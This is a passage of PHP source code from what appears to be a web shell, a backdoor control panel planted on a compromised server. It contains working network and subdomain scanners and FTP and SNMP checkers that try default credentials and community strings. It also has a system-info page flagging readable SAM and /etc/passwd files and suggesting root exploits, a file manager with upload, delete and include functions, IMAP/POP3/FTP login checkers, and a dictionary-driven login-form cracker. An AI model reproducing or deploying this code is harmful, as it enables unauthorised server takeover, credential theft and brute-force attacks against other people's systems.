if(!empty($_REQUEST['snmpscanner'])){
if(checkthisporT($ip,161,$timeout,1)){
$com=$_REQUEST['com'];
$coms=$res='';
if(strstr($com,','))$c=explode(',',$com);else $c[0]=$com;
foreach($c as $v){
$ret=snmpchecK($ip,$v,$timeout);
if($ret)$coms.=" $v ";
}
if($coms!=''){echo "$ip) SNMP FOUND: $coms<br>";$output=1;}
}
}
if(!empty($_REQUEST['ftpscanner']) && function_exists('ftp_connect')){
if(checkthisporT($ip,21,$timeout)){
$usps=explode(',',$_REQUEST['userpass']);
foreach($usps as $v){
$user=substr($v,0,strpos($v,':'));
$pass=substr($v,strpos($v,':')+1);
if($pass=='[BLANK]')$pass='';
$ftp=ftp_connect($ip,21,$timeout);
if($ftp){
if(ftp_login($ftp,$user,$pass)){$output=1;echo "$ip) FTP FOUND: ($user:$pass) System type: ".ftp_systype($ftp)." (<b><a href='";echo hlinK("seC=ftpc&workingdiR=".getcwd()."&hosT=$ip&useR=$user&pasS=$pass");echo "' target='_blank'>Connect</a></b>)<br>";}
}
}
}
}
if($output)echo '<hr size=1 noshade>';
}
$time=time()-$start;
echo "Done! ($time seconds)</font>";
if(!empty($buglist))unlink($buglist);
}
elseif(!empty($_REQUEST['directoryscanner'])){
$dir=file($_REQUEST['dic']);$host=$_REQUEST['host'];$r=$_REQUEST['r1'];
echo "<font color=blue><pre>Scanning started...
";
for($i=0;$i<count($dir);$i++){
$d=trim($dir[$i]);
if($r){
$adr="http://$host/$d/";
if(check_urL($adr,'GET','302')){echo "Directory Found: <a href='$adr' target='_blank'>$adr</a>
";}
}else{
$adr="$d.$host";
$ip=gethostbyname($adr);
if($ip!=$adr){echo "Subdomain Found: <a href='http://$adr' target='_blank'>$adr($ip)</a>
";}
}
}
echo 'Done!</pre></font>';
}
else{
$t="<br><table border=0 cellpadding=0 cellspacing=0 style='border-collapse: collapse' bgcolor='#333333' width='50%'><tr><form method='POST'";
$chbox=(extension_loaded('sockets'))?"<input type=checkbox style='border-width:1px;background-color:#808080;' name=tcp value=1 checked>TCP<input type=checkbox name=udp style='border-width:1px;background-color:#808080;' value=1 checked>UDP":"<input type=hidden name=tcp value=1>";
echo "<center>$t><td>Port scanner:</td></tr><td width='25%' bgcolor='#808080'>Target:</td><td bgcolor='#808080' width=80%><input name=target value=$host size=40></td></tr><tr><td bgcolor='#666666' width=25%>From:</td><td bgcolor='#666666' width=25%><input name=fromport type=text value='1' size=5></td></tr><tr><td bgcolor='#808080' width=25%>To:</td><td bgcolor='#808080' width=25%><input name=toport type=text value='1024' size=5></td></tr><tr><td width='25%' bgcolor='#666666'>Timeout:</td><td bgcolor='#666666'><input name=timeout type=text value='2' size=5></td><tr><td width='25%' bgcolor='#808080'>$chbox</td><td bgcolor='#808080' align='right'>$hcwd<input type=submit class=buttons name=portscanner value=Scan></form>$et$t><td>Discoverer:</td></tr><tr><td width='25%' bgcolor='#808080'>Host:</td><td bgcolor='#808080' width=80%><input name=host value='".$_SERVER["HTTP_HOST"]."' size=40></td><td bgcolor='#808080'></td></tr><tr><td width='25%' bgcolor='#666666'>Dictionary:</td><td bgcolor='#666666' width=80%><input name=dic size=40></td><td bgcolor='#666666'></td></tr><tr><td width='25%' bgcolor='#808080'>Search for:</td><td bgcolor='#808080' width=40%><input type=radio value=1 checked name=r1>Directories<input type=radio name=r1 value=0>Subdomains</td><td bgcolor='#808080' align='right' width=40%><input type=submit class=buttons name=directoryscanner value=Scan></td></form></tr></table>";
$host=substr($host,0,strrpos($host,"."));
echo "$t name=security><td>Security scanner:</td></tr><td width='25%' bgcolor='#808080'>From:</td><td bgcolor='#808080' width=80%><input name=from value=$host.1 size=40> <input type=checkbox value=1 style='border-width:1px;background-color:#808080;' name=nslookup checked>NS lookup</td></tr><tr><td bgcolor='#666666' width=25%>To:</td><td bgcolor='#666666' width=25%>xxx.xxx.xxx.<input name=to type=text value=254 size=4>$hcwd</td></tr><tr><td width='25%' bgcolor='#808080'>Timeout:</td><td bgcolor='#808080'><input name=timeout type=text value='2' size=5></td></tr><tr><td width='25%' bgcolor='#666666'><input type=checkbox name=ipscanner value=1 checked onClick='document.security.port.disabled = !document.security.port.disabled;' style='border-width:1px;background-color:#666666;'>Port scanner:</td><td bgcolor='#666666'><input name=port type=text value='21,23,25,80,110,135,139,143,443,445,1433,3306,3389,8080,65301' size=60></td></tr><tr><td width='25%' bgcolor='#808080'><input type=checkbox name=httpbanner value=1 checked style='border-width:1px;background-color:#808080;'>Get web banner</td><td bgcolor='#808080'><input type=checkbox name=httpscanner value=1 checked style='border-width:1px;background-color:#808080;'>Webserver security scanning&nbsp;&nbsp;&nbsp;<input type=checkbox name=smtprelay value=1 checked style='border-width:1px;background-color:#808080;'>SMTP relay check</td></tr><tr><td width='25%' bgcolor='#666666'><input type=checkbox name=ftpscanner value=1 checked onClick='document.security.userpass.disabled = !document.security.userpass.disabled;' style='border-width:1px;background-color:#666666;'>FTP password:</td><td bgcolor='#666666'><input name=userpass type=text value='anonymous:[email protected],ftp:ftp,Administrator:[BLANK],guest:[BLANK]' size=60></td></tr><tr><td width='25%' bgcolor='#808080'><input type=checkbox name=snmpscanner value=1 onClick='document.security.com.disabled = !document.security.com.disabled;' checked style='border-width:1px;background-color:#808080;'>SNMP:</td><td bgcolor='#808080'><input name=com type=text value='public,private,secret,cisco,write,test,guest,ilmi,ILMI,password,all private,admin,all,system,monitor,sun,agent,manager,ibm,hello,switch,solaris,OrigEquipMfr,default,world,tech,mngt,tivoli,openview,community,snmp,SNMP,none,snmpd,Secret C0de,netman,security,pass,passwd,root,access,rmon,rmon_admin,hp_admin,NoGaH$@!,router,agent_steal,freekevin,read,read-only,read-write,0392a0,cable-docsis,fubar,ANYCOM,Cisco router,xyzzy,c,cc,cascade,yellow,blue,internal,comcomcom,IBM,apc,TENmanUFactOryPOWER,proxy,core,CISCO,regional,1234,2read,4changes' size=60></td></tr><tr><td width='25%' bgcolor='#666666'></td><td bgcolor='#666666' align='right'><input type=submit class=buttons name=securityscanner value=Scan></form>$et";
}
}
function sysinfO(){
global $windows,$disablefunctions,$cwd,$safemode;
$t8="<td width='25%' bgcolor='#808080'>";
$t6="<td width='25%' bgcolor='#666666'>";
$mil="<a target='_blank' href='http://www.milw0rm.org/related.php?program=";
$basedir=(ini_get('open_basedir') || strtoupper(ini_get('open_basedir'))=='ON')?'ON':'OFF';
if(!empty($_SERVER['PROCESSOR_IDENTIFIER']))$CPU=$_SERVER['PROCESSOR_IDENTIFIER'];
$osver=$tsize=$fsize='';
$ds=implode(' ',$disablefunctions);
if($windows){
$osver=' ('.shelL('ver').')';
$sysroot=shelL("echo %systemroot%");
if(empty($sysroot))$sysroot=$_SERVER['SystemRoot'];
if(empty($sysroot))$sysroot = getenv('windir');
if(empty($sysroot))$sysroot = 'Not Found';
if(empty($CPU))$CPU=shelL('echo %PROCESSOR_IDENTIFIER%');
for($i=66;$i<=90;$i++){
$drive=chr($i).':\';
if(is_dir($drive)){
$fsize+=disk_free_space($drive);
$tsize+=disk_total_space($drive);
}
}
}else{
$ap=shelL('whereis apache');
if(!$ap)$ap='Unknow';
$fsize=disk_free_space('/');
$tsize=disk_total_space('/');
}
$xpl=rootxpL();if(!$xpl)$xpl='Not found.';
$disksize='Used spase: '.showsizE($tsize-$fsize).' Free space: '.showsizE($fsize).' Total space: '.showsizE($tsize);
if(empty($CPU))$CPU='Unknow';
$os=php_uname();
$osn=php_uname('s');
if(!$windows){
$ker=php_uname('r');
$o=($osn=='Linux')?'Linux+Kernel':$osn;
$os=str_replace($osn,"${mil}$o'>$osn</a>",$os);
$os=str_replace($ker,"${mil}Linux+Kernel'>$ker</a>",$os);
$inpa=':';
}else{
$sam=$sysroot."\system32\config\SAM";
$inpa=';';
$os=str_replace($osn,"${mil}MS+Windows'>$osn</a>",$os);
}
$cuser=get_current_user();
if(!$cuser)$cuser='Unknow';
$software=str_replace('Apache',"${mil}Apache'>Apache</a>",$_SERVER['SERVER_SOFTWARE']);
echo "<table border=0 cellpadding=0 cellspacing=0 style='border-collapse: collapse' bgcolor='#333333' width='100%'><tr><td>Server information:</td></tr><tr>${t6}Server:</td><td bgcolor='#666666'>".$_SERVER['HTTP_HOST'];if(!empty($_SERVER["SERVER_ADDR"])){ echo "(". $_SERVER["SERVER_ADDR"] .")";}echo "</td></tr><tr>${t8}Operation system:</td><td bgcolor='#808080'>$os$osver</td></tr><tr>${t6}Web server application:</td><td bgcolor='#666666'>$software</td></tr><tr>${t8}CPU:</td><td bgcolor='#808080'>$CPU</td></tr>${t6}Disk status:</td><td bgcolor='#666666'>$disksize</td></tr><tr>${t8}User domain:</td><td bgcolor='#808080'>";if (!empty($_SERVER['USERDOMAIN'])) echo $_SERVER['USERDOMAIN'];else echo "Unknow"; echo "</td></tr><tr>${t6}User name:</td><td bgcolor='#666666'>$cuser</td></tr>";
if($windows){
echo "<tr>${t8}Windows directory:</td><td bgcolor='#808080'><a href='".hlinK("seC=fm&workingdiR=$sysroot")."'>$sysroot</a></td></tr><tr>${t6}Sam file:</td><td bgcolor='#666666'>";if(is_readable(($sam)))echo "<a href='".hlinK("?workingdiR=$sysroot\system32\config&downloaD=sam")."'>Readable</a>"; else echo 'Not readable';echo '</td></tr>';
}
else
{
echo "<tr>${t8}UID - GID:</td><td bgcolor='#808080'>".getmyuid().' - '.getmygid()."</td></tr><tr>${t6}Recommended local root exploits:</td><td bgcolor='#666666'>$xpl</td></tr><tr>${t8}Passwd file:</td><td bgcolor='#808080'>";
if(is_readable('/etc/passwd'))echo "<a href='".hlinK("seC=edit&filE=/etc/passwd&workingdiR=$cwd")."'>Readable</a>";else echo'Not readable';echo "</td></tr><tr>${t6}${mil}cpanel'>cPanel</a>:</td><td bgcolor='#666666'>";$cp='/usr/local/cpanel/version';$cv=(file_exists($cp) && is_writable($cp))?trim(file_get_contents($cp)):'Unknow';echo "$cv (Log file: ";
if(file_exists('/var/cpanel/accounting.log')){if(is_readable('/var/cpanel/accounting.log'))echo "<a href='".hlinK("seC=edit&filE=/var/cpanel/accounting.log&workingdiR=$cwd")."'>Readable</a>";else echo 'Not readable';}else echo 'Not found';echo ')</td></tr>';
}
echo "<tr>$t8${mil}PHP'>PHP</a> version:</td><td bgcolor='#808080'><a href='?=".php_logo_guid()."' target='_blank'>".PHP_VERSION."</a> (<a href='".hlinK("seC=phpinfo&workingdiR=$cwd")."'>more...</a>)</td></tr><tr>${t6}Zend version:</td><td bgcolor='#666666'>";if (function_exists('zend_version')) echo "<a href='?=".zend_logo_guid()."' target='_blank'>".zend_version().'</a>';else echo 'Not Found';echo "</td><tr>${t8}Include path:</td><td bgcolor='#808080'>".str_replace($inpa,' ',DEFAULT_INCLUDE_PATH)."</td><tr>${t6}PHP Modules:</td><td bgcolor='#666666'>";$ext=get_loaded_extensions();foreach($ext as $v){$i=phpversion($v);if(!empty($i))$i="($i)";$l=hlinK("exT=$v");echo "<a href='javascript:void(0)' onclick=\"window.open('$l','','width=300,height=200,scrollbars=yes')\">$v</a> $i ";}echo "</td><tr>${t8}Disabled functions:</td><td bgcolor='#808080'>";if(!empty($ds))echo "$ds ";else echo 'Nothing'; echo"</td></tr><tr>${t6}Safe mode:</td><td bgcolor='#666666'>$safemode</td></tr><tr>${t8}Open base dir:</td><td bgcolor='#808080'>$basedir</td></tr><tr>${t6}DBMS:</td><td bgcolor='#666666'>";$sq='';if(function_exists('mysql_connect')) $sq= "${mil}MySQL'>MySQL</a> ";if(function_exists('mssql_connect')) $sq.= " ${mil}MSSQL'>MSSQL</a> ";if(function_exists('ora_logon')) $sq.= " ${mil}Oracle'>Oracle</a> ";if(function_exists('sqlite_open')) $sq.= ' SQLite ';if(function_exists('pg_connect')) $sq.= " ${mil}PostgreSQL'>PostgreSQL</a> ";if(function_exists('msql_connect')) $sq.= ' mSQL ';if(function_exists('mysqli_connect'))$sq.= ' MySQLi ';if(function_exists('ovrimos_connect')) $sq.= ' Ovrimos SQL ';if ($sq=='') $sq= 'Nothing'; echo "$sq</td></tr></table>";
}
function checksuM($file){
global $et;
echo "<table border=0 style='border-collapse: collapse' width='100%'><tr><td width='10%' bgcolor='#666666'><b>MD5:</b> <font color=#F0F0F0>".md5_file($file).'</font><br><b>SHA1:</b><font color=#F0F0F0>'.sha1_file($file)."</font>$et";
}
function listdiR($cwd,$task){
$c=getcwd();
$dh=opendir($cwd);
while($cont=readdir($dh)){
if($cont=='.' || $cont=='..')continue;
$adr=$cwd.DIRECTORY_SEPARATOR.$cont;
switch($task){
case '0':if(is_file($adr))echo "[<a href='".hlinK("seC=edit&filE=$adr&workingdiR=$c")."'>$adr</a>]
";if(is_dir($adr))echo "[<a href='".hlinK("seC=fm&workingdiR=$adr")."'>$adr</a>]
";break;
case '1':if(is_writeable($adr)){if(is_file($adr))echo "[<a href='".hlinK("seC=edit&filE=$adr&workingdiR=$c")."'>$adr</a>]
";if(is_dir($adr))echo "[<a href='".hlinK("seC=fm&workingdiR=$adr")."'>$adr</a>]
";}break;
case '2':if(is_file($adr) && is_writeable($adr))echo "[<a href='".hlinK("seC=edit&filE=$adr&workingdiR=$c")."'>$adr</a>]
";break;
case '3':if(is_dir($adr) && is_writeable($adr))echo "[<a href='".hlinK("seC=fm&workingdiR=$adr")."'>$adr</a>]
";break;
case '4':if(is_file($adr))echo "[<a href='".hlinK("seC=edit&filE=$adr&workingdiR=$c")."'>$adr</a>]
";break;
case '5':if(is_dir($adr))echo "[<a href='".hlinK("seC=fm&workingdiR=$adr")."'>$adr</a>]
";break;
case '6':if(preg_match('@'.$_REQUEST['search'].'@',$cont) || (is_file($adr) && preg_match('@'.$_REQUEST['search'].'@',file_get_contents($adr)))){if(is_file($adr))echo "[<a href='".hlinK("seC=edit&filE=$adr&workingdiR=$c")."'>$adr</a>]
";if(is_dir($adr))echo "[<a href='".hlinK("seC=fm&workingdiR=$adr")."'>$adr</a>]
";}break;
case '7':if(strstr($cont,$_REQUEST['search']) || (is_file($adr) && strstr(file_get_contents($adr),$_REQUEST['search']))){if(is_file($adr))echo "[<a href='".hlinK("seC=edit&filE=$adr&workingdiR=$c")."'>$adr</a>]
";if(is_dir($adr))echo "[<a href='".hlinK("seC=fm&workingdiR=$adr")."'>$adr</a>]
";}break;
case '8':{if(is_dir($adr))rmdir($adr);else unlink($adr);rmdir($cwd);break;}
}
if(is_dir($adr))listdiR($adr,$task);
}
}
if(!checkfunctioN('posix_getpwuid')){function posix_getpwuid($u){return 0;}}
if(!checkfunctioN('posix_getgrgid')){function posix_getgrgid($g){return 0;}}
function filemanageR(){
global $windows,$msgbox,$errorbox,$t,$et,$cwd,$hcwd;
$table="<table border=0 cellpadding=0 cellspacing=0 style='border-collapse: collapse' bgcolor='#333333' width='100%'>";
$td1n="<td width='22%' bgcolor='#666666'>";
$td2m="<td width='22%' bgcolor='#808080'>";
$td1i="<td width='5%' bgcolor='#666666'>";
$td2i="<td width='5%' bgcolor='#808080'>";
$tdnr="<td width='22%' bgcolor='#800000'>";
$tdw="<td width='22%' bgcolor='#006E00'>";
if(!empty($_REQUEST['task'])){
if(!empty($_REQUEST['search']))$_REQUEST['task']=7;
if(!empty($_REQUEST['re']))$_REQUEST['task']=6;
echo '<font color=blue><pre>';
listdiR($cwd,$_REQUEST['task']);
echo '</pre></font>';
}else{
if(!empty($_REQUEST['cP']) || !empty($_REQUEST['mV']) || !empty($_REQUEST['rN'])){
if(!empty($_REQUEST['cP']) || !empty($_REQUEST['mV'])){
$title='Destination';
$ad=(!empty($_REQUEST['cP']))?$_REQUEST['cP']:$_REQUEST['mV'];
$dis=(!empty($_REQUEST['cP']))?'Copy':'Move';
}else{
$ad=$_REQUEST['rN'];
$title='New name';
$dis='Rename';
}
if(!!empty($_REQUEST['deS'])){
echo "<center><table border=0 style='border-collapse: collapse' width='40%'><tr><td width='100%' bgcolor='#333333'>$title:</td></tr><tr>$td1n<form method='POST'><input type=text value='";if(empty($_REQUEST['rN']))echo $cwd;echo "' size=60 name=deS></td></tr><tr>$td2m$hcwd<input type=hidden value='".htmlspecialchars($ad)."' name=cp><input class=buttons type=submit value=$dis></form>$et</center>";
}else{
if(!empty($_REQUEST['rN']))rename($ad,$_REQUEST['deS']);
else{
copy($ad,$_REQUEST['deS']);
if(!empty($_REQUEST['mV']))unlink($ad);
}
}
}
if(!empty($_REQUEST['deL'])){if(is_dir($_REQUEST['deL']))listdiR($_REQUEST['deL'],8);else unlink($_REQUEST['deL']);}
if(!empty($_FILES['uploadfile'])){
move_uploaded_file($_FILES['uploadfile']['tmp_name'],$_FILES['uploadfile']['name']);
echo "$msgbox<b>Uploaded!</b> File name: ".$_FILES['uploadfile']['name']." File size: ".$_FILES['uploadfile']['size']. "$et<br>";
}
$select="<select onChange='document.location=this.options[this.selectedIndex].value;'><option value='".hlinK("seC=fm&workingdiR=$cwd")."'>--------</option><option value='";
if(!empty($_REQUEST['newf'])){
if(!empty($_REQUEST['newfile'])){file_put_contents($_REQUEST['newf'],'');}
if(!empty($_REQUEST['newdir'])){mkdir($_REQUEST['newf']);}
}
if($windows){
echo "$table<td><b>Drives:</b> ";
for($i=66;$i<=90;$i++){$drive=chr($i).':';
if(is_dir($drive."\")){$vol=shelL("vol $drive");if(empty($vol))$vol=$drive;echo " <a title='$vol' href=".hlinK("seC=fm&workingdiR=$drive\").">$drive\</a>";}
}
echo $et;
}
echo "$table<form method='POST'><tr><td width='20%'><b>[ <a id='lk' style='text-decoration:none' href='#' onClick=\"HS('div');\">-</a> ] Location:</b><input type=text name=workingdiR size=135 value='$cwd'><input class=buttons type=submit value=Change></form>$et";
$file=$dir=$link=array();
if($dirhandle=opendir($cwd)){
while($cont=readdir($dirhandle)){
if(is_dir($cwd.DIRECTORY_SEPARATOR.$cont))$dir[]=$cont;
elseif(is_file($cwd.DIRECTORY_SEPARATOR.$cont))$file[]=$cont;
else $link[]=$cont;
}
closedir($dirhandle);
sort($file);sort($dir);sort($link);
echo "<div id='div'><table border=1 cellpadding=0 cellspacing=0 style='border-collapse: collapse' bordercolor='#282828' bgcolor='#333333' width='100%'><tr><td width='30%' bgcolor='#333333' align='center'>Name</td><td width='13%' bgcolor='#333333' align='center'>Owner</td><td width='12%' bgcolor='#333333' align='center'>Modification time</td><td width='12%' bgcolor='#333333' align='center'>Last change</td><td width='5%' bgcolor='#333333' align='center'>Info</td><td width='7%' bgcolor='#333333' align='center'>Size</td><td width='15%' bgcolor='#333333' align='center'>Actions</td></tr>";
$i=0;
foreach($dir as $dn){
echo '<tr>';
$i++;
$own='Unknow';
$owner=posix_getpwuid(fileowner($dn));
$mdate=date('Y/m/d H:i:s',filemtime($dn));
$adate=date('Y/m/d H:i:s',fileatime($dn));
$diraction=$select.hlinK('seC=fm&workingdiR='.realpath($dn))."'>Open</option><option value='".hlinK("seC=fm&workingdiR=$cwd&rN=$dn")."'>Rename</option><option value='".hlinK("seC=fm&deL=$dn&workingdiR=$cwd")."'>Remove</option></select></td>";
if($owner)$own="<a title=' Shell: ".$owner['shell']."' href='".hlinK('seC=fm&workingdiR='.$owner['dir'])."'>".$owner['name'].'</a>';
if(($i%2)==0){$cl1=$td1i;$cl2=$td1n;}else{$cl1=$td2i;$cl2=$td2m;}
if(is_writeable($dn))echo $tdw;elseif(!is_readable($dn))echo $tdnr;else echo $cl2;
echo "<a href='".hlinK('seC=fm&workingdiR='.realpath($dn))."'>";
if(strlen($dn)>45)echo substr($dn,0,42).'...';else echo $dn;echo '</a>';
echo $cl1."$own</td>";
echo $cl1."$mdate</td>";
echo $cl1."$adate</td>";
echo "</td>$cl1";echo "<a href='#' onClick=\"javascript:chmoD('$dn')\" title='Change mode'>";echo 'D';if(is_readable($dn))echo 'R';if(is_writeable($dn))echo 'W';echo '</a></td>';
echo "$cl1------</td>";
echo $cl2.$diraction;
echo '</tr>';
}
foreach($file as $fn){
echo '<tr>';
$i++;
$own='Unknow';
$owner=posix_getpwuid(fileowner($fn));
$fileaction=$select.hlinK("seC=openit&namE=$fn&workingdiR=$cwd")."'>Open</option><option value='".hlinK("seC=edit&filE=$fn&workingdiR=$cwd")."'>Edit</option><option value='".hlinK("seC=fm&downloaD=$fn&workingdiR=$cwd")."'>Download</option><option value='".hlinK("seC=hex&filE=$fn&workingdiR=$cwd")."'>Hex view</option><option value='".hlinK("seC=img&filE=$fn&workingdiR=$cwd")."'>Image</option><option value='".hlinK("seC=inc&filE=$fn&workingdiR=$cwd")."'>Include</option><option value='".hlinK("seC=checksum&filE=$fn&workingdiR=$cwd")."'>Checksum</option><option value='".hlinK("seC=fm&workingdiR=$cwd&cP=$fn")."'>Copy</option><option value='".hlinK("seC=fm&workingdiR=$cwd&mV=$fn")."'>Move</option><option value='".hlinK("seC=fm&deL=$fn&workingdiR=$cwd")."'>Remove</option></select></td>";
$mdate=date('Y/m/d H:i:s',filemtime($fn));
$adate=date('Y/m/d H:i:s',fileatime($fn));
if($owner)$own="<a title='Shell:".$owner['shell']."' href='".hlinK('seC=fm&workingdiR='.$owner['dir'])."'>".$owner['name'].'</a>';
$size=showsizE(filesize($fn));
if(($i%2)==0){$cl1=$td1i;$cl2=$td1n;}else{$cl1=$td2i;$cl2=$td2m;}
if(is_writeable($fn))echo $tdw;elseif(!is_readable($fn))echo $tdnr;else echo $cl2;
echo "<a href='".hlinK("seC=openit&namE=$fn&workingdiR=$cwd")."'>";
if(strlen($fn)>45)echo substr($fn,0,42).'...';else echo $fn;echo '</a>';
echo $cl1."$own</td>";
echo $cl1."$mdate</td>";
echo $cl1."$adate</td>";
echo "</td>$cl1";echo "<a href='#' onClick=\"javascript:chmoD('$fn')\" title='Change mode'>";if(is_readable($fn))echo "R";if(is_writeable($fn))echo "W";if(is_executable($fn))echo "X";if(is_uploaded_file($fn))echo "U";echo "</a></td>";
echo "$cl1$size</td>";
echo $cl2.$fileaction;
echo '</tr>';
}
foreach($link as $ln){
$own='Unknow';
$i++;
$owner=posix_getpwuid(fileowner($ln));
$linkaction=$select.hlinK("seC=openit&namE=$ln&workingdiR=$ln")."'>Open</option><option value='".hlinK("seC=edit&filE=$ln&workingdiR=$cwd")."'>Edit</option><option value='".hlinK("seC=fm&downloaD=$ln&workingdiR=$cwd")."'>Download</option><option value='".hlinK("seC=hex&filE=$ln&workingdiR=$cwd")."'>Hex view</option><option value='".hlinK("seC=img&filE=$ln&workingdiR=$cwd")."'>Image</option><option value='".hlinK("seC=inc&filE=$ln&workingdiR=$cwd")."'>Include</option><option value='".hlinK("seC=checksum&filE=$ln&workingdiR=$cwd")."'>Checksum</option><option value='".hlinK("seC=fm&workingdiR=$cwd&cP=$ln")."'>Copy</option><option value='".hlinK("seC=fm&workingdiR=$cwd&mV=$ln")."'>Move</option><option value='".hlinK("seC=fm&workingdiR=$cwd&rN=$ln")."'>Rename</option><option value='".hlinK("seC=fm&deL=$ln&workingdiR=$cwd")."'>Remove</option></select></td>";
$mdate=date('Y/m/d H:i:s',filemtime($ln));
$adate=date('Y/m/d H:i:s',fileatime($ln));
if($owner)$own="<a title='Shell: ".$owner['shell']."' href='".hlinK('seC=fm&workingdiR='.$owner['dir'])."'>".$owner['name'].'</a>';
echo '<tr>';
$size=showsizE(filesize($ln));
if(($i%2)==0){$cl1=$td1i;$cl2=$td1n;}else{$cl1=$td2i;$cl2=$td2m;}
if(is_writeable($ln))echo $tdw;elseif(!is_readable($ln))echo $tdnr;else echo $cl2;
echo "<a href='".hlinK("seC=openit&namE=$ln&workingdiR=$cwd")."'>";
if(strlen($ln)>45)echo substr($ln,0,42).'...';else echo $ln;echo '</a>';
echo $cl1."$own</td>";
echo $cl1."$mdate</td>";
echo $cl1."$adate</td>";
echo "</td>${cl1}";echo "<a href='#' onClick=\"javascript:chmoD('$ln')\" title='Change mode'>L";if(is_readable($ln))echo "R";if (is_writeable($ln))echo "W";if(is_executable($ln))echo "X";echo "</a></td>";
echo "$cl1$size</td>";
echo $cl2.$linkaction;
echo '</tr>';
}
}
$dc=count($dir)-2;
if($dc==-2)$dc=0;
$fc=count($file);
$lc=count($link);
$total=$dc+$fc+$lc;
$min=min(substr(ini_get('upload_max_filesize'),0,strpos(ini_get('post_max_size'),'M')),substr(ini_get('post_max_size'),0,strpos(ini_get('post_max_size'),'M'))).' MB';
echo "</table></div>$table<tr><td><form method=POST>Find:<input type=text value=\$pass name=search><input type=checkbox name=re value=1 style='border-width:1px;background-color:#333333;'>Regular expressions <input type=submit class=buttons value=Find>$hcwd<input type=hidden value=7 name=task></form></td><td><form method=POST>$hcwd<input type=hidden value='fm' name=seC><select name=task><option value=0>Display files and directories in current folder</option><option value=1>Find writable files and directories in current folder</option><option value=2>Find writable files in current folder</option><option value=3>Find writable directories in current folder</option><option value=4>Display all files in current folder</option><option value=5>Display all directories in current folder</option></select><input type=submit class=buttons value=Do></form>$et</tr></table><table width='100%'><tr><td width='50%'><br><table bgcolor=#333333 border=0 width='65%'><td><b>Summery:</b> Total: $total Directories: $dc Files: $fc Links: $lc$et<table bgcolor=#333333 border=0 width='65%'><td width='100%' bgcolor=";if (is_writeable($cwd)) echo '#006E00';elseif (!is_readable($cwd)) echo '#800000';else '#333333'; echo '>Current directory status: ';if (is_readable($cwd)) echo 'R';if (is_writeable($cwd)) echo 'W' ;echo "$et<table border=0 style='border-collapse: collapse' width='65%'><tr><td width='100%' bgcolor='#333333'>New:</td></tr><tr>$td1n<form method='POST'><input type=text size=47 name=newf></td></tr><tr>$td2m$hcwd<input class=buttons type=submit name=newfile value='File'><input class=buttons type=submit name=newdir value='Folder'></form>$et</td><td width='50%'><br>${t}Upload:</td></tr><tr>$td1n<form method='POST' enctype='multipart/form-data'><input type=file size=45 name=uploadfile></td></tr><tr>$td2m$hcwd<input class=buttons type=submit value=Upload></td></tr>$td1n Note: Max allowed file size to upload on this server is $min</form>$et$et";
}
}
function imapchecK($host,$username,$password,$timeout){
$sock=fsockopen($host,143,$n,$s,$timeout);
$b=uniqid('NJ');
$l=strlen($b);
if(!$sock)return -1;
fread($sock,1024);
fputs($sock,"$b LOGIN $username $password
");
$res=fgets($sock,$l+4);
fclose($sock);
if($res=="$b OK")return 1;else return 0;
}
function ftpchecK($host,$username,$password,$timeout){
$ftp=ftp_connect($host,21,$timeout);
if(!$ftp)return -1;
$con=ftp_login($ftp,$username,$password);
if($con)return 1;else return 0;
}
function pop3checK($server,$user,$pass,$timeout){
$sock=fsockopen($server,110,$en,$es,$timeout);
if(!$sock)return -1;
fread($sock,1024);
fwrite($sock,"user $user
");
$r=fgets($sock);
if($r{0}=='-')return 0;
fwrite($sock,"pass $pass
");
$r=fgets($sock);
fclose($sock);
if($r{0}=='+')return 1;
return 0;
}
function formcrackeR(){
global $errorbox,$footer,$et,$hcwd;
if(!empty($_REQUEST['start'])){
if(isset($_REQUEST['loG'])&& !empty($_REQUEST['logfilE'])){$log=1;$file=$_REQUEST['logfilE'];}else $log=0;
$url=$_REQUEST['target'];
$uf=$_REQUEST['userf'];
$pf=$_REQUEST['passf'];
$sf=$_REQUEST['submitf'];
$sv=$_REQUEST['submitv'];
$method=$_REQUEST['method'];
$fail=$_REQUEST['fail'];
$dic=$_REQUEST['dictionary'];
$type=$_REQUEST['combo'];
$user=(!empty($_REQUEST['user']))?$_REQUEST['user']:'';
if(!file_exists($dic))die("$errorbox Can not open dictionary.$et$footer");
$dictionary=fopen($dic,'r');
echo '<font color=blue>Cracking started...<br>';
while(!feof($dictionary)){
if($type){
$combo=trim(fgets($dictionary)," 

");
$user=substr($combo,0,strpos($combo,':'));
$pass=substr($combo,strpos($combo,':')+1);
}else{
$pass=trim(fgets($dictionary)," 

");
}
$url.="?$uf=$user&$pf=$pass&$sf=$sv";
$res=check_urL($url,$method,$fail,12);
if(!$res){echo "<font color=blue>U: $user P: $pass</font><br>";if($log)file_add_contentS($file,"U: $user P: $pass
");if(!$type)break;}
}
fclose($dictionary);
echo 'Done!</font><br>';
}
else echo "<center><table border=0 style='border-collapse: collapse' width='434'><tr><td width='174' bgcolor='#333333'>HTTP Form cracker:</td><td bgcolor='#333333' width='253'></td></tr><form method='POST' name=form><tr><td width='174' bgcolor='#666666'>Dictionary:</td><td bgcolor='#666666' width='253'><input type=text name=dictionary size=35></td></tr><tr><td width='174' bgcolor='#808080'>Dictionary type:</td><td bgcolor='#808080'><input type=radio name=combo checked value=0 onClick='document.form.user.disabled = false;' style='border-width:1px;background-color:#808080;'>Simple (P)<input type=radio value=1 name=combo onClick='document.form.user.disabled = true;' style='border-width:1px;background-color:#808080;'>Combo (U:P)</td></tr><tr><td width='174' bgcolor='#666666'>Username:</td><td bgcolor='#666666'><input type=text size=35 value=root name=user>$hcwd</td></tr><tr><td width='174' bgcolor='#808080'>Action Page:</td><td bgcolor='#808080' width='253'><input type=text name=target value='http://".getenv('HTTP_HOST')."/login.php' size=35></td></tr><tr><td width='174' bgcolor='#666666'>Method:</td><td bgcolor='#666666' width='253'><select size='1' name='method'><option selected value='POST'>POST</option><option value='GET'>GET</option></select></td></tr><tr><td width='174' bgcolor='#808080'>Username field name:</td><td bgcolor='#808080' width='253'><input type=text name=userf value=user size=35></td></tr><tr><td width='174' bgcolor='#666666'>Password field name:</td><td bgcolor='#666666' width='253'><input type=text name=passf value=passwd size=35></td></tr><tr><td width='174' bgcolor='#808080'>Submit name:</td><td bgcolor='#808080' width='253'><input type=text value=login name=submitf size=35></td></tr><tr><td width='174' bgcolor='#666666'>Submit value:</td><td bgcolor='#666666' width='253'><input type=text value='Login' name=submitv size=35></td></tr><tr><td width='174' bgcolor='#808080'>Fail string:</td><td bgcolor='#808080' width='253'><input type=text name=fail value='Try again' size=35></td></tr><tr><td width='174' bgcolor='#666666'><input type=checkbox name=loG value=1 onClick='document.form.logfilE.disabled = 